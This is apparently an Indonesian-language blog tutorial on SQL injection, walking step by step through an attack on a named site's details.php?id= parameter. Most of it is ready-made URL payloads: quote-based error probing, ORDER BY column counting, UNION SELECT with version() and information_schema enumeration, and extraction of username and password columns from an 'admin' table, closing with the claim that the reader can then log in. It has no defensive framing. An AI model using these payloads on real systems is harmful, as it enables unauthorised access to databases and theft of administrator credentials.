3 Langkah SQL Injection
Langkah-langkah SQL Injection.
http://www.finvent.com/details.php?id=20
|
1. Pertama kali yang kita lakukan tentu
mencari target. Misalnya target kita kali ini adalah
2. Tambahkan karakter ‘ pada akhir url
atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
Contoh :
http://
www.finvent.com/details.php?id=20’
|
atau
http://
www.finvent.com/details.php?id=-20
|
3. Maka akan muncul pesan error…
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
“You have an error in your SQL syntax.You have an error in your SQL syntax; check the
manual that corresponds to your MySQL server version for the right syntax to use near ”’
at line 1″ Dan masih banyak lagi macamnya.
4. Next step adalah mencari dan menghitung jumlah table yang ada dalam
databasenya…
Disini kita akan menggunakan perintah order by
Disini kita akan menggunakan perintah order by
Contoh :
http://
www.finvent.com/details.php?id=20+order+by+3
|
Hohoho…apalagi
itu “/*” ? Itu adalah karakter penutup perintah SQL atau kita juga bisa pake
“–“. Terserah aja…
Kalo “+” sebagai penghubung perintah…
5. Nah sampe sini langsung dah nyobain
satu2…
http://
www.finvent.com/details.php?id=20 +order+by+1/* (gak ada error)
http://
www.finvent.com/details.php?id=20 +order+by+2/* (gak ada juga)
http:// www.finvent.com/details.php?id=20
+order+by+3/* (capek dah)
http://
www.finvent.com/details.php?id=20 +order+by+4/* (jangan nyerah)
|
Sampai muncul error…
Misalkan errornya disini…
Misalkan errornya disini…
http://
www.finvent.com/details.php?id=20 +order+by+10/*
|
Berarti yang kita ambil adalah “9”
http://
www.finvent.com/details.php?id=20 +order+by+9/*
|
6. Untuk mengetahui berapa angka yang
show sekarang kita pake UNION
Contoh :
http://
www.finvent.com/details.php?id=20 +union+select+1,2,3,4,5,6,7,8,9/*
|
Trus perhatikan angka berapa yang keluar.
7. Misalnya angka hoki yang keluar
adalah “3” maka yang bisa akan kita lakukan adalah mengecek versi berapa mysql
yang dipake dengan perintah “version()” atau “@@version”
http://
www.finvent.com/details.php?id=20 +union+select+1,2,version(),4,5,6,7,8,9/*
|
Atau
www.finvent.com/details.php?id=20+union+select+1,2,@@version,4,5,6,7,8,9/*
|
8. Nah kalo versinya 5 langsung aja
pake perintah “information_schema” untuk melihat tabel dan kolom yang ada pada
database…
http://www.finvent.com/details.php?id=20+union+select+1,2,table_name,4,5,6,7,8,9+from+information_schema.tables/*
|
Contoh :
Nah katanya
kalo untuk melihat tabel-tabel yang lain kita tambahkan LIMIT pada akhir URL.
Misalnya adalah table “admin”
Nah sekarang kita liat-liat dulu kolomnya dengan mengganti aja kata
“table”-nya…
Contoh:
http://www.finvent.com/details.php?id=20+union+select+1,2,column_name,4,5,6,7,8,9+from+information_schema.colums/*
|
Misalnya kolom
yang keluar adalah “password” dan “username”
Langsung aja kita liat isinya…
Langsung aja kita liat isinya…
Contoh :
http://www.finvent.com/details.php?id=20+union+select+1,username,3,4,5,6,7,8,9+from+admin/*
|
dan
http://www.finvent.com/details.php?id=20+union+select+1,password,3,4,5,6,7,8,9+from+admin/*
|
Anda dapat melihat username dan password, dan anda dapat login dengan username tersebut.
Semoga Bermanfaat
Komentar
Posting Komentar